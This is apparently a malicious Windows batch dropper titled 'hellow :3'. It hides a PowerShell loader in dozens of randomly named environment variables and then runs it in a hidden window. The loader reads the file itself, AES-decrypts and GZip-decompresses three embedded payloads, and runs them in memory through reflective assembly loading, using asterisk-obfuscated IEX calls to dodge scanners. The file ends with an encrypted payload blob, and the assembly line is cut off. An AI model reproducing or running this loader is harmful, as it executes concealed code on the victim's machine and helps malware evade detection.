title hellow :3
title hellow :3
title hellow :3
set "uktp=Lo"
set "MBZb=nvo"
set "Nosy=lect"
set "oLdT=byp"
set "RVxt=prof"
set "dcYEkJuQgsokegXexxay=echo cls;powershell "
set "hTjcAbPuvrlayjesmPec=-w hidden;function d"
set "giUuZitiNZvuVYmkSVdj=ecrypt_function($par"
set "UZvOhnLUcFSIsXsYYOds=am_var){
$aes_var=[S"
set "HHGvWQfzXTzrMVhgNgmM=ystem.Security.Crypt"
set "wzgihMbXGnmeSKBntZSq=ography.Aes]::Create"
set "ilXjfAWxPlkRBrViByoj=();
$aes_var.Mode=[S"
set "PhSJGvzbtUNOnWDkCXcG=ystem.Security.Crypt"
set "QEhvduCAOtMVKIBbtnCK=ography.CipherMode]:"
set "bUdVxvDFNLGEvItlZxGl=:CBC;
$aes_var.Paddi"
set "SYmaiSeFuBRourFWBmXH=ng=[System.Security."
set "QXNdNhzcpqcVHrScIcMF=Cryptography.Padding"
set "rYklTrjdcxKMzYuUlina=Mode]::PKCS7;
$aes_v"
set "sbqezVHcyCnyAsqSMBkv=ar.Key=[System.Conve"
set "YvZSGpwIXYRzPLmqHgLX=rt]::FromBase64Strin"
set "JhEzjllhIBhJYRcXbyyk=g('xkyHsUEz3I6ELu2lR"
set "zZfALOIPfZkGPmMQQAIu=0z7m6Kw05wb28L/CX73b"
set "doavQhBYIpojHBxKbeOv=VCU13U=');
$aes_var."
set "CwbIqAULelgBPdglZJKD=IV=[System.Convert]:"
set "mKgQLbYoPcPMLnRHnrep=:FromBase64String('/"
set "nQTwiMuEumLrukiRqlWp=jm5YEgLEZRhB2OjwCSNT"
set "BGVcwuPBlzXHEuqwRJHY=Q==');
$decryptor_va"
set "HuTCqxsBfZqcuPNHUQaO=r=$aes_var.CreateDec"
set "XSsVodNZTMaGDXIhMsLZ=ryptor();
$return_va"
set "covmiVmPGJBbJTbOcYon=r=$decryptor_var.Tra"
set "KsHtZJzwhGUBeaMIwgMt=nsformFinalBlock($pa"
set "QXtjkZXKWTeOeypJGcmz=ram_var, 0, $param_v"
set "wQHaPZWIgtrWlUwMZxia=ar.Length);
$decrypt"
set "MOAoCfwGLccuTnXaqtuk=or_var.Dispose();
set "dpDDBhDkcDKiUmMHptyJ=es_var.Dispose();
set "DpWeqXdYXvwGdXXwlXMu=eturn_var;}function "
set "CmEirUAHApLWVLHNszmD=decompress_function("
set "eEmGgefWpqwrGdgqLOMw=$param_var){
IEX '$n"
set "xvxHKzLrqjdLLipXZXbn=ShDB=New-Object Syst"
set "PEsjTtpRErcENQgIhFWH=em.IO.M*em*or*yS*tr*"
set "tNFfmLGyOiqNMzHTdnOq=ea*m(,$param_var);'."
set "kTNYhzYUcGQubuTbYmWi=Replace('*', '');
set "NRdvbpRojmFTRFxzaGYN=X '$qhgjI=New-Object"
set "MLvhsVLsFFVQqFDsQrXS= System.IO.*M*e*m*o*"
set "HJLPbXDwXubrojvbwVdf=r*y*S*t*r*e*a*m*;'.R"
set "DyJDrPClceJIIffdaFgu=eplace('*', '');
set "spvlDDBhkCWUnSoiahyl= '$CCizP=New-Object "
set "vrtSLsIjdsbQPIMndxZO=System.IO.C*om*pr*e*"
set "nubzhOuQQWcShUZbVCAl=ss*io*n.*GZ*ip*St*re"
set "UseSBgfEgafChKYaqTKW=*am*($nShDB, [IO.C*o"
set "XSsgpiIVJLsAXOTVqjYb=m*pr*es*si*on*.Co*mp"
set "IPJQRzKxWYKbSDnbaXCs=*re*ss*i*o*n*Mode]::"
set "xkVuIFFtQcKhVJnijCpQ=D*e*c*omp*re*ss);'.R"
set "ylZLaqHuBRVsGGEyUohl=eplace('*', '');
set "UrGToDgjpeSxILTlkjus=izP.CopyTo($qhgjI);
set "XlRZhsAoeOnUudWhEgxx=$CCizP.Dispose();
set "jyewYxJVNsnKUPnIAHLW=ShDB.Dispose();
set "cSeARYcEPMGeMWiyguaK=jI.Dispose();
$qhgjI"
set "IFBMACZFQnHXuBuruDFa=.ToArray();}function"
set "uegbLjYXGOCfGbnxqrZp= execute_function($p"
set "YxOBeJJlBQeDOapDyAar=aram_var,$param2_var"
set "EbZbLBqtnXbcDqbXqEWc=){
IEX '$FvEfJ=[Syst"
set "zMwQKZrFLJYQrHKWxMPD=em.R*e*fl*ect*io*n.*"
set "sqXEPbZyZsnTEYSRFjrM=As*se*mb*l*y*]::L*o*"
set "kLIEYlLVFezDPsJjOSaI=a*d*([byte[]]$param_"
set "ZSGtvflsPSrovdsHHtFE=var);'.Replace('*', "
set "pdTUSKeloJdNiIMsepiT='');
IEX '$fCCPt=$Fv"
set "ZsgMNkhLZcBumwsWZLAL=EfJ.*E*n*t*r*y*P*o*i"
set "aaefPDgNqaCslMFXWghH=*n*t*;'.Replace('*',"
set "DtlliIALpQssPxTYoaXj= '');
IEX '$fCCPt.*I"
set "euvYzjjARvZTEShHPSXh=*n*v*o*k*e*($null, $"
set "cuxAIkDOTGIWjXDiXmMY=param2_var);'.Replac"
set "zaUTQzNWpljvcPgJWUqp=e('*', '');}$bqfmX ="
set "GuHkNdJHpZJCgZIcADJi= '%~f0';$host.UI.Raw"
set "wGzHxmTtQUldWxsetJgN=UI.WindowTitle = $bq"
set "PfHqCGpdheitkhSZVaNA=fmX;$ZowMM=[System.I"
set "jqRvNGGJGEJRxWtqZjeQ=O.File]::ReadAllText"
set "WQmLLSSOEtjtWGDzolCW=($bqfmX).Split([Envi"
set "aGxDvrVoOBZLVWDsdgJU=ronment]::NewLine);f"
set "NSemupURsTcNGhPqtJqu=oreach ($WJela in $Z"
set "WDZctxxZclviCIjiCkif=owMM) {
if ($WJela.S"
set "weVUzmfOhnZuPpXjScTX=tartsWith('THuwPURqS"
set "SVOhyTlYYHNiAkXSHeCh=TjmbbqbMgKM'))
set "sISOlasmLZqArlmBqOwF=eKym=$WJela.Substrin"
set "bhPzzQTFsfCNzLFjcZVx=g(20);
break;
}}$pa"
set "BYnZqnRpXwBTIXglSspu=yloads_var=[string[]"
set "hMUFxCaFGcyqSZecUQim=]$jeKym.Split('\');$"
set "ZDHVDIfCFtrKKBqOdHCO=payload1_var=decompr"
set "nlJUXlaISdrcjcvDfYcO=ess_function (decryp"
set "wyamLOFrJpYmouYNUMYs=t_function ([Convert"
set "IwJBcoAHfMJfFOrOkxjj=]::FromBase64String("
set "FIZCfeOOdHJsaKfZOzjx=$payloads_var[0].Rep"
set "oXmWGTHzdkCwDPMZxgvY=lace('#', '/').Repla"
set "ALDxdqeVIraLoLVIwdWl=ce('@', 'A'))));$pay"
set "woLTemOlXgCHdkXCtOSp=load2_var=decompress"
set "PMRLkRiRTeDukkBlZKsR=_function (decrypt_f"
set "BSXCOsHdOsoHkGwKxaJn=unction ([Convert]::"
set "dXrTDixTILCJvaNWOpWS=FromBase64String($pa"
set "jfcBPVjDOROZafNEBdYG=yloads_var[1].Replac"
set "UOudPEmkTAVhdRdYUQeI=e('#', '/').Replace("
set "ZUfRXDJqniuLqqXvKZLl='@', 'A'))));$payloa"
set "IZKnVGWjcPKLZqGaJCgm=d3_var=decompress_fu"
set "VVWKfkRMTHnVeSZajRWq=nction (decrypt_func"
set "HzoxyJMZJXLiSzpNcaiL=tion ([Convert]::Fro"
set "PjpuBOGgrGQSGQFvHzlv=mBase64String($paylo"
set "yRcWVfcFCmYjIlBxkTWK=ads_var[2].Replace('"
set "dFIdgTCcTUfDONmXgtyv=#', '/').Replace('@'"
set "MbDfIHjuohlOCBsSjZPc=, 'A'))));execute_fu"
set "DZLIgvuVYDqRvAXbbCvz=nction $payload1_var"
set "KhNMJranuuNhDwSMqVYm= $null;execute_funct"
set "movLRtsbDqQGEpsvlZYP=ion $payload2_var $n"
set "uhAEPjnZIlLgEinvLcUp=ull;execute_function"
set "YZKdDhCndwAqWiSeNRVH= $payload3_var (,[st"
set "gtssFKcwcWKjeJRvxxbI=ring[]] ('%*')); | ""
set "HZVmKvkvqiIUgnjEGryT=C:\Windows\System32\"
set "fglhMrmnrwHqPnagxgHk=WindowsPowerShell\v1"
set "AGgTnPcQzmOfYiDANNzs=.0\powershell.exe""
%dcYEkJuQgsokegXexxay%%hTjcAbPuvrlayjesmPec%%giUuZitiNZvuVYmkSVdj%%UZvOhnLUcFSIsXsYYOds%%HHGvWQfzXTzrMVhgNgmM%%wzgihMbXGnmeSKBntZSq%%ilXjfAWxPlkRBrViByoj%%PhSJGvzbtUNOnWDkCXcG%%QEhvduCAOtMVKIBbtnCK%%bUdVxvDFNLGEvItlZxGl%%SYmaiSeFuBRourFWBmXH%%QXNdNhzcpqcVHrScIcMF%%rYklTrjdcxKMzYuUlina%%sbqezVHcyCnyAsqSMBkv%%YvZSGpwIXYRzPLmqHgLX%%JhEzjllhIBhJYRcXbyyk%%zZfALOIPfZkGPmMQQAIu%%doavQhBYIpojHBxKbeOv%%CwbIqAULelgBPdglZJKD%%mKgQLbYoPcPMLnRHnrep%%nQTwiMuEumLrukiRqlWp%%BGVcwuPBlzXHEuqwRJHY%%HuTCqxsBfZqcuPNHUQaO%%XSsVodNZTMaGDXIhMsLZ%%covmiVmPGJBbJTbOcYon%%KsHtZJzwhGUBeaMIwgMt%%QXtjkZXKWTeOeypJGcmz%%wQHaPZWIgtrWlUwMZxia%%MOAoCfwGLccuTnXaqtuk%%dpDDBhDkcDKiUmMHptyJ%%DpWeqXdYXvwGdXXwlXMu%%CmEirUAHApLWVLHNszmD%%eEmGgefWpqwrGdgqLOMw%%xvxHKzLrqjdLLipXZXbn%%PEsjTtpRErcENQgIhFWH%%tNFfmLGyOiqNMzHTdnOq%%kTNYhzYUcGQubuTbYmWi%%NRdvbpRojmFTRFxzaGYN%%MLvhsVLsFFVQqFDsQrXS%%HJLPbXDwXubrojvbwVdf%%DyJDrPClceJIIffdaFgu%%spvlDDBhkCWUnSoiahyl%%vrtSLsIjdsbQPIMndxZO%%nubzhOuQQWcShUZbVCAl%%UseSBgfEgafChKYaqTKW%%XSsgpiIVJLsAXOTVqjYb%%IPJQRzKxWYK
THuwPURqSTjmbbqbMgKMcmZcdeaaBQjnUKEJLNYxzdnjYOBnpjfLjivxeb1H1dCIWZmYfqXfuvSPqiq2SHcz4HpYVjJ3B87CCGrGIxkziwawT@N4wN1QtZStzNzdWcEaTv21erKOPwJL5PmKiQi+IsLmyez7jWZK3CmG5Vwi3PfLu#7Mxn88ySWLI#7a52E2V1+KY19dMvf3PnlNJtccJRTyWQR2NRTdUDsakg7MXO1FnGBTZbFwss869+rrHb+uHzwDvGYVj5M0r6BvhBBYQrYk9gH8h02rr6tpHBbVU6dUo9Of6aUImfjXdZ239ZyhwL6oPnzUsa3TT+eR33UzNtdxxb5h9L3sh6qRyCzHmUn91bvgznlvv60YSlwxuyjSkKmf6F4S#swkZ849MiHk0FYUacHR6CHJztZwU+IVOOg5pXXzsdzwu76qSXXD4LbEYsHhXB8wDRpjIq8b@Nyt8pEkv5tUOcUfc6H24GgsMwRetnacy5xRG7Wqb5t8UFE#R5@1y6zYKRET0hwaZBkqO7+WD+pPQNuixGIhdKvv1oEL2NkPi7F0f0irNUQuMpTE3iT+wRIE7H#bmvV5Pzsp6@MGUVu7lX32aWzpRQPjn#OlB#tu+etNQc+lhhlVgL1wM6wqdEHgqm+FLYc5FceMIeFsp6B59aqap90eiSssPvMnn5SxCReCDi4e3beY+SO0k8dDcJ9ZV7xfao@tzTjRKNMdEOPUNcP53avePT7OCZEiUNiGaczGTOsN8bQqfsv1ktMXMS7JhGSgCIOwZB#O+a5Rj7E8e7p+b#Map#pzei1D0ZhS47D3ELVDM6Cp5WnsfctFbUlWcY6If1LPBYyC3RSOvaix5OLGTOLwTDoPPrLa#oqgXSdmMUpQ2eVtVwaoBFU1aDE9rDpyksirx8J@HzNxFhG24n9Ybt#9U2M#FjU+LwuZETBZL0gZvpTYxpBqHwUXrulNPlovKFwf7n6bxFjdhVZfPc5oJmR3PoK+K541C0Hg1iMJg@eejdWct4BN